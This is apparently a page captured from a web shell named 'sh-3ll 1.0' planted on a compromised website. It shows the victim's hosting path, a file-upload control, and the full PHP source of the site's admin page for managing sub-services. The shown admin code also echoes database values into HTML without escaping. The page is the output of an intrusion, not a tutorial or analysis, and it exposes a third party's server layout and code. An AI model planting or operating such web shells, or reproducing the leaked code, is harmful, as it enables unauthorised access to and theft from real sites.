fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/tcfq2ylb8mbt/public_html/tanpureinterior.com/admin_panel/
Upload File :
Current File : /home/tcfq2ylb8mbt/public_html/tanpureinterior.com/admin_panel/all_sub_services.php
<?php
session_start();
include "./controllers/Main.php";
include("./common/header.php");
include("./common/sidebar.php");
include("./common/navbar.php");

$allservices_data = all_services();
$all_data = all_sub_services();

if (isset($_POST['submit'])) {
    $response = add_sub_services($_POST);
    if ($response === 422) {
        ?>
        <script>
            alert("Data Not Store");
            window.location.href = "./all_sub_services.php"
        </script>
        <?php
    } else { ?>
        <script>
            alert("Data saved successfully");
            window.location.href = "./all_sub_services.php"
        </script>
    <?php }
}

if (isset($_POST['delete'])) {
    $response = delete_sub_services($_POST);
    if ($response === 201) {
        ?>
        <script>
            alert("Service deleted successfully");
            window.location.href = "./all_sub_services.php"
        </script>
        <?php
    } else { ?>
        <script>
            alert("Service not deleted");
            window.location.href = "./all_sub_services.php"
        </script>
    <?php }
}
?>
<div class="body flex-grow-1 px-3">
    <div class="container-lg">
        <div class="row">
            <div class="col-lg-8">
                <h2>All Sub Services</h2>
            </div>
            <div class="col-lg-4 text-end">
                <button class="btn btn-primary" data-bs-toggle="modal" data-bs-target="#addSubServiceModal">
                    <i class="fa fa-plus"></i> Add
                </button>
            </div>
        </div>
        <hr class="mt-0 mb-1" />
        <table id="example" class="table table-striped" style="width:100%">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Main Service</th>
                    <th>Action</th>
                </tr>
            </thead>
            <tbody>
                <?php
                for ($i = 0; $i < count($all_data); $i++) { ?>
                    <tr>
                        <td>
                            <?php echo $all_data[$i]['sub_service_name']; ?>
                        </td>
                        <td>
                            <?php
                            for ($j = 0; $j < count($allservices_data); $j++) {
                                if ($all_data[$i]["service_id"] === $allservices_data[$j]['id']) {
                                    echo $allservices_data[$j]['service_name'];
                                }
                            } ?>
                        </td>
                        <td>
                            <form action="" method="post">
                                <input type="hidden" name="serviceId" value="<?php echo $all_data[$i]['id']; ?>" id="">
                                <button type="submit" name="delete" class="btn btn-outline-danger"><i class="fa fa-trash "></i></button>
                            </form>

                        </td>
                    </tr>

                <?php } ?>
            </tbody>

        </table>

        <!-- Modal -->
        <div class="modal fade" id="addSubServiceModal" tabindex="-1" aria-labelledby="addSubServiceModalLabel" aria-hidden="true">
            <div class="modal-dialog">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="addSubServiceModalLabel">Add Sub Service</h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    </div>
                    <form action="" method="post" enctype="multipart/form-data">
                        <div class="modal-body">
                            <div class="row">

                                <div class="col-lg-12">
                                    <label for="">Select Service</label>
                                    <select name="serviceId" id="" class="form-control form-select">
                                        <option value="">Select Service</option>
                                        <?php
                                        for ($j = 0; $j < count($allservices_data); $j++) {
                                            echo "<option value=" . $allservices_data[$j]['id'] . ">" . $allservices_data[$j]['service_name'] . "</option>";
                                        }
                                        ?>
                                    </select>
                                </div>
                                <div class="col-lg-12">
                                    <label for="">Sub Service Name</label>
                                    <input type="text" name="subServiceName" id="" class="form-control" placeholder="Enter Service Name" required>
                                </div>
                                <div class="col-lg-12">
                                    <label for="">Description</label>
                                    <textarea type="text" name="description" id="" class="form-control" placeholder="Enter Discription" rows="3"></textarea>
                                </div>
                            </div>
                        </div>
                        <div class="modal-footer">
                            <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                            <button type="submit" name="submit" class="btn btn-primary">Submit</button>
                        </div>
                    </form>
                </div>
            </div>
        </div>

    </div>
</div>


<?php
include('./common/footer.php');

?>